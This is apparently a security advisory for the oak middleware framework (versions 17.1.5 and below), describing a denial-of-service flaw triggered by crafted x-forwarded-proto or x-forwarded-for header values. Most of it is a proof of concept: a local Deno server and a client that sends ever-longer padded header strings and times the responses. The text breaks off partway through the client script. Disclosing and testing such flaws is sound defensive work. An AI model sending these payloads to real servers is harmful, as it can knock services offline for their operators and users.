oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.

Affected: npm: @oakserver/oak

### Summary

With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.

### Vulnerable Code

- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87 - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

### PoC

- setup ``` deno --version deno 2.4.3 v8 13.7.152.14-rusty typescript 5.8.3 ```

- `server.ts` ```ts import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

// let url = ctx.request.url // test1) x-forwarded-proto let ips = ctx.request.ips // test2) x-forwarded-for console.log(`request ${i} received`) i++; ctx.response.body = "hello"; });

await app.listen({ port: 8080 }); ```

- `client.ts` ```ts const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A'); const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) { for (let i = 0; i < data.length; i++) { let d = data[i]; const start = performance.now();

await fetch("http://localhost:8080", { headers: { // "x-forwarded-proto": d, // test1) "x-forwarded-for": d, // test2) }, });

const end = performance.now(); console.log('length=%d, time=%d ms', d.length, end - start); } }

console.log("\n[+] Test no…